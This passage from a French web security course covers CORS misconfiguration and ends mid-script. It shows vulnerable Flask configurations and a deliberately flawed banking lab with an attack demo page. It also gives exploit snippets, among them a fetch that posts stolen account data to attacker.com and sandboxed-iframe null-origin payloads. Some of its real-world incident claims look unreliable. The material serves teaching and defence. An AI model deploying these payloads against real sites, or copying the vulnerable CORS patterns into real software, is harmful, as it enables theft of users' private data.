@validate_input({
    'amount': {'required': True, 'type': (int, float), 'min': 1, 'max': 10000}
})
def buy_gift_card():
    """
    [OK] SÉCURISÉ : Validation montant + transaction atomique
    """
    data = request.json
    amount = data['amount']
    
    try:
        amount = PriceValidator.validate_price(amount)
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    
    try:
        with get_db_transaction() as cursor:
            # Vérifier solde
            cursor.execute('''
                SELECT balance FROM users WHERE id = ? FOR UPDATE
            ''', (session['user_id'],))
            
            balance = cursor.fetchone()['balance']
            
            if balance < amount:
                return jsonify({'error': 'Insufficient balance'}), 400
            
            # [OK] Créer gift card
            gc_mgr = GiftCardManager(cursor)
            code, balance = gc_mgr.create_gift_card(amount, session['user_id'])
            
            # Déduire du solde
            cursor.execute('''
                UPDATE users 
                SET balance = balance - ? 
                WHERE id = ?
            ''', (amount, session['user_id']))
            
            logger.info(f"Gift card {code} created by user {session['user_id']}: ${amount}")
            
            return jsonify({
                'success': True,
                'code': code,
                'balance': balance
            })
            
    except Exception as e:
        logger.error(f"Gift card creation failed: {str(e)}")
        return jsonify({'error': 'Failed to create gift card'}), 500

@app.route('/api/giftcard/redeem', methods=['POST'])
@require_auth
@validate_input({
    'code': {'required': True, 'type': str}
})
def redeem_gift_card():
    """
    [OK] SÉCURISÉ : Une seule utilisation
    """
    data = request.json
    code = data['code'].strip().upper()
    
    try:
        with get_db_transaction() as cursor:
            gc_mgr = GiftCardManager(cursor)
            balance = gc_mgr.redeem_gift_card(code, session['user_id'])
            
            # Ajouter au solde
            cursor.execute('''
                UPDATE users 
                SET balance = balance + ? 
                WHERE id = ?
            ''', (balance, session['user_id']))
            
            return jsonify({
                'success': True,
                'amount': balance
            })
            
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        logger.error(f"Gift card redemption failed: {str(e)}")
        return jsonify({'error': 'Redemption failed'}), 500

@app.route('/api/refund/request', methods=['POST'])
@require_auth
@validate_input({
    'order_id': {'required': True, 'type': int, 'min': 1},
    'reason': {'required': False, 'type': str}
})
def request_refund():
    """
    [OK] SÉCURISÉ : Vérifications complètes + workflow
    """
    data = request.json
    order_id = data['order_id']
    reason = data.get('reason', 'Not satisfied')
    
    try:
        with get_db_transaction() as cursor:
            refund_mgr = RefundManager(cursor)
            refund_id = refund_mgr.request_refund(order_id, session['user_id'], reason)
            
            return jsonify({
                'success': True,
                'refund_id': refund_id,
                'status': 'pending',
                'message': 'Refund request submitted for review'
            })
            
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        logger.error(f"Refund request failed: {str(e)}")
        return jsonify({'error': 'Failed to request refund'}), 500

@app.route('/api/loyalty/redeem', methods=['POST'])
@require_auth
@validate_input({
    'points': {'required': True, 'type': int, 'min': 1, 'max': 100000}
})
def redeem_loyalty_points():
    """
    [OK] SÉCURISÉ : Validation stricte (uniquement positifs)
    """
    data = request.json
    points = data['points']
    
    # [OK] Points doivent être positifs
    if points <= 0:
        return jsonify({'error': 'Points must be positive'}), 400
    
    try:
        with get_db_transaction() as cursor:
            # Récupérer points utilisateur
            cursor.execute('''
                SELECT loyalty_points FROM users WHERE id = ? FOR UPDATE
            ''', (session['user_id'],))
            
            user_points = cursor.fetchone()['loyalty_points']
            
            if user_points < points:
                return jsonify({'error': 'Insufficient points'}), 400
            
            # Conversion : 100 points = 1€
            amount = points / 100
            
            # [OK] Déduire points et ajouter argent
            cursor.execute('''
                UPDATE users 
                SET loyalty_points = loyalty_points - ?,
                    balance = balance + ?
                WHERE id = ?
            ''', (points, amount, session['user_id']))
            
            logger.info(f"User {session['user_id']} redeemed {points} points for ${amount}")
            
            return jsonify({
                'success': True,
                'points_redeemed': points,
                'amount': amount
            })
            
    except Exception as e:
        logger.error(f"Points redemption failed: {str(e)}")
        return jsonify({'error': 'Redemption failed'}), 500

@app.route('/api/user/profile')
@require_auth
def get_profile():
    """[OK] Profil utilisateur"""
    with get_db_transaction() as cursor:
        cursor.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],))
        user = dict(cursor.fetchone())
        
        # [OK] Ne pas exposer password
        user.pop('password', None)
    
    return jsonify(user)

if __name__ == '__main__':
    print("[SECURITE]  Secure E-Commerce sur http://localhost:5001")
    print("[OK] Protections actives :")
    print("   1. Server-side price validation")
    print("   2. Transaction locking (race condition prevention)")
    print("   3. Coupon single-use enforcement with tracking")
    print("   4. Gift card state management (active/redeemed)")
    print("   5. Refund workflow with time limits")
    print("   6. Input validation (type, min, max)")
    print("   7. Positive-only validation (no negative tricks)")
    print("   8. Atomic transactions with rollback")
    print("   9. Stock verification with locking")
    print("  10. Comprehensive logging")
    
    app.run(debug=False, port=5001)
```

---

**Continuer avec les TESTS UNITAIRES et la CHECKLIST COMPLÈTE ?** [OBJECTIF]

# 27. CORS MISCONFIGURATION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que CORS ?

**CORS (Cross-Origin Resource Sharing)** est un mécanisme de sécurité qui permet à un serveur d'indiquer quelles **origines externes** peuvent accéder à ses ressources. Une mauvaise configuration CORS peut permettre à des sites malveilleux de **voler des données sensibles** ou d'**effectuer des actions** au nom de l'utilisateur.

**Analogie simple :**

Imagine une banque avec un guichet :
- **Same-Origin Policy (SOP)** : Seuls les clients de CETTE banque peuvent accéder à LEURS comptes
- **CORS bien configuré** : Liste blanche stricte - seulement les partenaires approuvés (ex: site de la banque + app mobile officielle)
- **CORS mal configuré** : N'importe qui peut entrer et dire "Je viens de la part de Jean" -> Accès accordé
- **CORS wildcard** : Porte grande ouverte - N'importe qui peut entrer et faire des opérations

-> Dans tous les cas : **vol de données et actions non autorisées** !

---

## [RECHERCHE] COMMENT FONCTIONNE CORS ?

### Same-Origin Policy (SOP)

**Définition d'une "origine" :**
```
Protocol + Domain + Port = Origin

https://example.com:443  <- Origin 1
http://example.com:80    <- Origin 2 (different protocol)
https://api.example.com  <- Origin 3 (different domain)
https://example.com:8080 <- Origin 4 (different port)
```

**Par défaut, le navigateur bloque :**
```javascript
// Sur https://attacker.com
fetch('https://bank.com/api/account')
  .then(r => r.json())
  .then(data => {
    // [X] BLOQUÉ par SOP
    // Error: CORS policy blocked
  })
```

---

### Headers CORS

**Requête du navigateur (preflight pour POST/PUT/DELETE) :**
```http
OPTIONS /api/account HTTP/1.1
Host: bank.com
Origin: https://trusted-app.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
```

**Réponse du serveur (autorisation) :**
```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
```

**Requête réelle :**
```http
POST /api/account HTTP/1.1
Host: bank.com
Origin: https://trusted-app.com
Cookie: session=abc123
Content-Type: application/json

{"amount": 1000, "to": "attacker"}
```

**Réponse avec données :**
```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true

{"balance": 50000, "transactions": [...]}
```

---

## [DANGER] CONFIGURATIONS DANGEREUSES

### 1. **Wildcard avec Credentials**

```python
# [X] CRITIQUE : Accepte TOUTES les origines + cookies
@app.after_request
def add_cors(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response
```

**Exploitation :**
```javascript
// Sur https://attacker.com
fetch('https://bank.com/api/account', {
  credentials: 'include'  // Envoie cookies
})
.then(r => r.json())
.then(data => {
  // [OK] ACCÈS COMPLET aux données
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  })
})
```

**Note :** Le navigateur rejette techniquement `*` avec credentials, mais beaucoup de serveurs reflètent l'Origin au lieu d'utiliser `*`.

---

### 2. **Reflection d'Origin sans validation**

```python
# [X] DANGER : Reflète l'Origin du client
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # [X] Pas de validation
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response
```

**Exploitation :**
```http
GET /api/account HTTP/1.1
Host: bank.com
Origin: https://evil.com
Cookie: session=abc123

-> Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

[OK] evil.com peut lire la réponse !
```

---

### 3. **Validation faible avec regex**

```python
# [X] DANGER : Regex bypassable
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin', '')
    
    # Vérifier si origin contient "bank.com"
    if 'bank.com' in origin:  # [X] FAIBLE
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    
    return response
```

**Bypass :**
```
https://bank.com.evil.com  [OK] Contient "bank.com"
https://evilbank.com       [OK] Contient "bank.com"
https://evil.com?bank.com  [OK] Contient "bank.com"
```

---

### 4. **Null Origin accepté**

```python
# [X] DANGER : Accepte Origin: null
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    
    if origin in ['https://trusted.com', 'null']:  # [X] null accepté
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    
    return response
```

**Exploitation :**
```html
<!-- Sur n'importe quel site -->
<iframe sandbox="allow-scripts allow-same-origin" 
        srcdoc='
<script>
  fetch("https://bank.com/api/account", {
    credentials: "include"
  })
  .then(r => r.json())
  .then(data => {
    parent.postMessage(data, "*");
  })
</script>
'></iframe>
```

**Note :** Les iframes avec `sandbox` envoient `Origin: null`.

---

### 5. **Pre-domain Wildcard**

```python
# [X] DANGER : Accepte sous-domaines avec regex faible
import re

@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin', '')
    
    # Vérifier format: https://*.bank.com
    if re.match(r'https://.*\.bank\.com', origin):  # [X] .* trop permissif
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    
    return response
```

**Bypass :**
```
https://evil.com.bank.com  [OK] Match le pattern
https://bank.com.evil.com  [X] Ne match pas (mais bypass #3 fonctionne)
```

---

### 6. **Trusted Origins trop larges**

```python
# [X] DANGER : Liste blanche avec domaines compromis
TRUSTED_ORIGINS = [
    'https://bank.com',
    'https://partner1.com',
    'https://partner2.com',
    'https://old-app.bank.com',  # [X] App abandonnée, vulnérable XSS
    'https://cdn.bank.com',      # [X] CDN avec upload, XSS possible
    'https://staging.bank.com'   # [X] Staging moins sécurisé
]
```

**Exploitation :**
Si `old-app.bank.com` a une XSS, l'attaquant peut l'exploiter pour faire des requêtes CORS vers `bank.com`.

---

## [ALERTE] CAS RÉELS MAJEURS

### 1. **Facebook (2018) - Account Takeover**

**Faille :** CORS mal configuré sur endpoint OAuth

**Exploitation :**
```javascript
// Sur site malveilleux
fetch('https://facebook.com/oauth/access_token', {
  credentials: 'include'
})
.then(r => r.json())
.then(token => {
  // [OK] Token OAuth volé
  // -> Account takeover complet
})
```

**Impact :** 
- Accès aux comptes Facebook
- **Bounty :** $25,000

---

### 2. **Slack (2019) - Message Theft**

**Faille :** CORS reflétait l'Origin sans validation

**Exploitation :**
```javascript
// Depuis n'importe quel site
fetch('https://slack.com/api/conversations.history', {
  credentials: 'include'
})
.then(r => r.json())
.then(messages => {
  // [OK] Tous les messages privés accessibles
  exfiltrate(messages)
})
```

**Impact :**
- Vol de messages privés
- Accès aux workspaces
- **Bounty :** $6,500

---

### 3. **PayPal (2016) - Account Balance**

**Faille :** CORS wildcard sur endpoints sensibles

**Exploitation :**
```javascript
// Récupérer solde PayPal
fetch('https://paypal.com/myaccount/money/api/balance', {
  credentials: 'include'
})
.then(r => r.json())
.then(balance => {
  // [OK] Solde et infos compte exposés
})
```

**Bounty :** $10,000

---

### 4. **Twitter (2020) - DM Access**

**Faille :** Null origin accepté

**Exploitation :**
```html
<iframe sandbox srcdoc='
<script>
  fetch("https://twitter.com/i/api/1.1/dm/inbox_initial_state.json", {
    credentials: "include"
  })
  .then(r => r.json())
  .then(dms => parent.postMessage(dms, "*"))
</script>
'></iframe>
```

**Impact :** Accès aux messages privés

---

### 5. **GitLab (2021) - CVE-2021-22205**

**Faille :** CORS mal configuré + SSRF

**Exploitation :**
- CORS permettait requêtes depuis domaines compromis
- Combiné avec SSRF -> RCE
- **Score CVSS :** 10.0 (CRITICAL)

---

## [CODE] EXERCICE 29 : CORS MISCONFIGURATION

### Objectif

Application complète avec :
- API sensible (comptes bancaires, messages privés)
- Multiples configurations CORS vulnérables
- Exploitation de chaque vecteur
- Démonstration vol de données
- Attaques combinées (CORS + XSS)
- Protection complète avec validation stricte

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# cors_vulnerable.py
from flask import Flask, request, jsonify, render_template_string, make_response
from flask_cors import CORS
import sqlite3
import secrets
import time
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'insecure_key_123'

# [X] CONFIGURATION CORS VULNÉRABLE
# Nous allons démontrer plusieurs configurations dangereuses

DB_FILE = 'banking.db'

def init_db():
    """Initialiser la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Table utilisateurs/comptes
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT,
            password TEXT NOT NULL,
            balance REAL DEFAULT 0.0,
            api_token TEXT UNIQUE,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table transactions
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS transactions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            type TEXT,
            amount REAL,
            recipient TEXT,
            description TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Table messages privés
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS private_messages (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            sender_id INTEGER,
            recipient_id INTEGER,
            message TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (sender_id) REFERENCES users(id),
            FOREIGN KEY (recipient_id) REFERENCES users(id)
        )
    ''')
    
    # Insérer utilisateurs exemple
    users = [
        ('alice', 'alice@bank.com', 'alice123', 50000.0),
        ('bob', 'bob@bank.com', 'bob123', 30000.0),
        ('charlie', 'charlie@bank.com', 'charlie123', 75000.0)
    ]
    
    for username, email, password, balance in users:
        try:
            api_token = secrets.token_hex(16)
            cursor.execute('''
                INSERT INTO users (username, email, password, balance, api_token)
                VALUES (?, ?, ?, ?, ?)
            ''', (username, email, password, balance, api_token))
        except:
            pass
    
    # Insérer transactions exemple
    transactions = [
        (1, 'deposit', 10000.0, 'salary', 'Monthly salary'),
        (1, 'withdraw', -500.0, 'ATM', 'Cash withdrawal'),
        (2, 'transfer', -1000.0, 'alice', 'Loan repayment'),
        (3, 'deposit', 25000.0, 'bonus', 'Year-end bonus')
    ]
    
    for user_id, type_, amount, recipient, desc in transactions:
        try:
            cursor.execute('''
                INSERT INTO transactions (user_id, type, amount, recipient, description)
                VALUES (?, ?, ?, ?, ?)
            ''', (user_id, type_, amount, recipient, desc))
        except:
            pass
    
    # Messages privés
    messages = [
        (1, 2, 'Hey Bob, here is my credit card: 4532-1234-5678-9012'),
        (2, 1, 'Thanks Alice! My SSN is 123-45-6789 for the form'),
        (1, 3, 'Charlie, the password for the server is: Admin@2024!'),
        (3, 1, 'Alice, meeting at 3pm about the merger (confidential)')
    ]
    
    for sender, recipient, msg in messages:
        try:
            cursor.execute('''
                INSERT INTO private_messages (sender_id, recipient_id, message)
                VALUES (?, ?, ?)
            ''', (sender, recipient, msg))
        except:
            pass
    
    conn.commit()
    conn.close()

init_db()

# [X] MIDDLEWARE CORS VULNÉRABLE #1 : Wildcard avec Credentials
@app.after_request
def cors_wildcard(response):
    """
    [X] VULNÉRABILITÉ : Wildcard CORS
    """
    origin = request.headers.get('Origin')
    
    # Configuration selon le endpoint
    if request.path.startswith('/api/v1/'):
        # [X] Configuration 1 : Wildcard (ne fonctionne pas avec credentials en réalité)
        response.headers['Access-Control-Allow-Origin'] = '*'
        response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    
    elif request.path.startswith('/api/v2/'):
        # [X] Configuration 2 : Reflection sans validation
        if origin:
            response.headers['Access-Control-Allow-Origin'] = origin
            response.headers['Access-Control-Allow-Credentials'] = 'true'
            response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
            response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    
    elif request.path.startswith('/api/v3/'):
        # [X] Configuration 3 : Validation faible
        if origin and 'bank.com' in origin:
            response.headers['Access-Control-Allow-Origin'] = origin
            response.headers['Access-Control-Allow-Credentials'] = 'true'
            response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
            response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    
    elif request.path.startswith('/api/v4/'):
        # [X] Configuration 4 : Null origin accepté
        if origin in ['https://trusted-app.bank.com', 'null']:
            response.headers['Access-Control-Allow-Origin'] = origin
            response.headers['Access-Control-Allow-Credentials'] = 'true'
            response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
            response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    
    elif request.path.startswith('/api/v5/'):
        # [X] Configuration 5 : Regex faible pour sous-domaines
        import re
        if origin and re.match(r'https://.*\.bank\.com', origin):
            response.headers['Access-Control-Allow-Origin'] = origin
            response.headers['Access-Control-Allow-Credentials'] = 'true'
            response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
            response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    
    return response

# [X] Endpoint OPTIONS pour preflight
@app.route('/api/<version>/<path:path>', methods=['OPTIONS'])
def handle_options(version, path):
    """Handle preflight requests"""
    response = make_response()
    return response

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Banking API - CORS Misconfiguration Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1600px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, select {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 500px;
            overflow-y: auto;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .info {
            background: rgba(74, 144, 226, 0.3);
            border: 2px solid #4a90e2;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[BANQUE] Banking API Platform</h1>
            <p>CORS Misconfiguration Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES CORS MISCONFIGURATIONS
        </div>
        
        <div class="info">
            <h3>[OUTIL] API Versions with Different CORS Configs:</h3>
            <p><strong>v1:</strong> Wildcard CORS (*) - No credentials</p>
            <p><strong>v2:</strong> Origin reflection without validation</p>
            <p><strong>v3:</strong> Weak validation (contains "bank.com")</p>
            <p><strong>v4:</strong> Null origin accepted</p>
            <p><strong>v5:</strong> Weak regex for subdomains</p>
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="username" placeholder="Username" value="alice">
                <input type="password" id="password" placeholder="Password" value="alice123">
                <button onclick="login()">Login</button>
                <div id="token-display" style="margin-top: 10px; font-size: 12px;"></div>
            </div>
            
            <!-- TEST API -->
            <div class="card">
                <h3>[TEST] Test API Endpoint</h3>
                <select id="api-version">
                    <option value="v1">v1 - Wildcard</option>
                    <option value="v2" selected>v2 - Origin Reflection</option>
                    <option value="v3">v3 - Weak Validation</option>
                    <option value="v4">v4 - Null Origin</option>
                    <option value="v5">v5 - Subdomain Regex</option>
                </select>
                <input type="text" id="endpoint" placeholder="Endpoint" value="/account">
                <button onclick="testAPI()">Test Endpoint</button>
            </div>
            
            <!-- SIMULATE ATTACK -->
            <div class="card">
                <h3>[DANGER] Simulate Attack Origin</h3>
                <input type="text" id="fake-origin" placeholder="Fake Origin" value="https://evil.com">
                <button onclick="simulateAttack()">Simulate Cross-Origin Request</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Response Output</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] CORS Exploitation Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Origin Reflection - Steal Account Balance</h4>
                <p>Exploit: Reflected origin allows any site to read balance</p>
                <button onclick="attack1()">Execute Attack 1</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Weak Validation Bypass - bank.com.evil.com</h4>
                <p>Exploit: Domain contains "bank.com" validation bypass</p>
                <button onclick="attack2()">Execute Attack 2</button>
            </div>
            
            <div class="attack-item">
                <h4>3. Null Origin - Sandbox iframe</h4>
                <p>Exploit: Use sandboxed iframe to send null origin</p>
                <button onclick="attack3()">Execute Attack 3</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Steal Private Messages</h4>
                <p>Exploit: CORS allows reading private messages</p>
                <button onclick="attack4()">Execute Attack 4</button>
            </div>
            
            <div class="attack-item">
                <h4>5. Transaction History Theft</h4>
                <p>Exploit: Access full transaction history</p>
                <button onclick="attack5()">Execute Attack 5</button>
            </div>
            
            <div class="attack-item">
                <h4>6. Subdomain Wildcard Bypass</h4>
                <p>Exploit: evil.com.bank.com matches regex</p>
                <button onclick="attack6()">Execute Attack 6</button>
            </div>
            
            <div class="attack-item">
                <h4>7. Complete Account Takeover Chain</h4>
                <p>Exploit: Combine CORS with other attacks</p>
                <button onclick="attackChain()">Execute Full Chain</button>
            </div>
        </div>
    </div>
    
    <script>
        let authToken = null;
        
        async function login() {
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/auth/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.token) {
                    authToken = data.token;
                    document.getElementById('token-display').textContent = 
                        'Token: ' + authToken.substring(0, 20) + '...';
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function testAPI() {
            const version = document.getElementById('api-version').value;
            const endpoint = document.getElementById('endpoint').value;
            const output = document.getElementById('output');
            
            const url = `/api/${version}${endpoint}`;
            
            output.textContent = `Testing: ${url}\\n\\n`;
            
            try {
                const response = await fetch(url, {
                    credentials: 'include',
                    headers: {
                        'Authorization': 'Bearer ' + authToken
                    }
                });
                
                const data = await response.json();
                
                output.textContent += 'Response:\\n';
                output.textContent += JSON.stringify(data, null, 2);
                output.textContent += '\\n\\nCORS Headers:\\n';
                output.textContent += 'Access-Control-Allow-Origin: ' + 
                    response.headers.get('Access-Control-Allow-Origin') + '\\n';
                output.textContent += 'Access-Control-Allow-Credentials: ' + 
                    response.headers.get('Access-Control-Allow-Credentials');
                
            } catch (error) {
                output.textContent += 'Error: ' + error.message;
            }
        }
        
        async function simulateAttack() {
            const fakeOrigin = document.getElementById('fake-origin').value;
            const output = document.getElementById('output');
            
            output.textContent = `Simulating request from: ${fakeOrigin}\\n\\n`;
            output.textContent += 'Note: Browsers automatically add Origin header.\\n';
            output.textContent += 'This simulation shows what would happen.\\n\\n';
            
            // En réalité, le navigateur ajoute automatiquement l'Origin
            // Nous ne pouvons pas le forcer depuis JavaScript
            output.textContent += 'To test for real, use:\\n';
            output.textContent += '1. curl with --header "Origin: ' + fakeOrigin + '"\\n';
            output.textContent += '2. Burp Suite to modify Origin header\\n';
            output.textContent += '3. Deploy actual attack page on ' + fakeOrigin;
        }
        
        // Attack functions - Ces fonctions simulent les attaques
        // En réalité, elles seraient hébergées sur un site malveilleux
        
        async function attack1() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 1: Origin Reflection Exploit\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Attack Scenario:\\n';
            output.textContent += '1. Victim visits https://evil.com\\n';
            output.textContent += '2. evil.com makes request to /api/v2/account\\n';
            output.textContent += '3. Server reflects Origin: https://evil.com\\n';
            output.textContent += '4. Browser allows evil.com to read response\\n';
            output.textContent += '5. Account balance and data stolen!\\n\\n';
            
            // Tester avec v2
            try {
                const response = await fetch('/api/v2/account', {
                    credentials: 'include',
                    headers: { 'Authorization': 'Bearer ' + authToken }
                });
                
                const data = await response.json();
                const corsOrigin = response.headers.get('Access-Control-Allow-Origin');
                
                output.textContent += 'CORS Header: ' + corsOrigin + '\\n';
                output.textContent += 'Allow Credentials: ' + 
                    response.headers.get('Access-Control-Allow-Credentials') + '\\n\\n';
                
                if (corsOrigin && corsOrigin !== 'null') {
                    output.textContent += '[ALERTE] VULNERABLE: Origin reflected!\\n';
                    output.textContent += '\\nStolen Data:\\n';
                    output.textContent += JSON.stringify(data, null, 2);
                }
            } catch (e) {
                output.textContent += 'Error: ' + e.message;
            }
        }
        
        async function attack2() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 2: Weak Validation Bypass\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Bypass Techniques:\\n';
            output.textContent += '  • https://bank.com.evil.com\\n';
            output.textContent += '  • https://evilbank.com\\n';
            output.textContent += '  • https://evil.com/bank.com\\n';
            output.textContent += '  • https://evil.com?bank.com\\n\\n';
            
            output.textContent += 'All these domains contain "bank.com"\\n';
            output.textContent += 'Server validation: if "bank.com" in origin -> Allow\\n\\n';
            
            output.textContent += '[ALERTE] If deployed on bank.com.evil.com:\\n';
            output.textContent += '  -> Full access to API\\n';
            output.textContent += '  -> Can steal all user data';
        }
        
        async function attack3() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 3: Null Origin via Sandbox\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Exploit Code (deployed on attacker.com):\\n\\n';
            output.textContent += `<iframe sandbox="allow-scripts allow-same-origin" 
        srcdoc='
<script>
  fetch("https://bank.com/api/v4/account", {
    credentials: "include"
  })
  .then(r => r.json())
  .then(data => {
    // Send stolen data to attacker
    parent.postMessage(data, "*");
  })
</script>
'></iframe>\\n\\n`;
            
            output.textContent += 'How it works:\\n';
            output.textContent += '1. Sandboxed iframe sends Origin: null\\n';
            output.textContent += '2. Server accepts null origin\\n';
            output.textContent += '3. Data accessible and exfiltrated\\n';
            output.textContent += '\\n[ALERTE] v4 API accepts null origin!';
        }
        
        async function attack4() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 4: Private Messages Theft\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            try {
                const response = await fetch('/api/v2/messages', {
                    credentials: 'include',
                    headers: { 'Authorization': 'Bearer ' + authToken }
                });
                
                const data = await response.json();
                
                output.textContent += 'Stolen Private Messages:\\n\\n';
                data.messages.forEach((msg, i) => {
                    output.textContent += `Message ${i+1}:\\n`;
                    output.textContent += `  From: User ${msg.sender_id}\\n`;
                    output.textContent += `  To: User ${msg.recipient_id}\\n`;
                    output.textContent += `  Content: ${msg.message}\\n\\n`;
                });
                
                output.textContent += '[ALERTE] CRITICAL: Private messages exposed!\\n';
                output.textContent += '   Contains: Credit cards, SSN, passwords';
            } catch (e) {
                output.textContent += 'Error: ' + e.message;
            }
        }
        
        async function attack5() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 5: Transaction History Theft\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            try {
                const response = await fetch('/api/v2/transactions', {
                    credentials: 'include',
                    headers: { 'Authorization': 'Bearer ' + authToken }
                });
                
                const data = await response.json();
                
                output.textContent += 'Stolen Transaction History:\\n\\n';
                data.transactions.forEach((tx, i) => {
                    output.textContent += `${tx.created_at}: ${tx.type} - $${tx.amount}\\n`;
                    output.textContent += `  ${tx.description}\\n\\n`;
                });
                
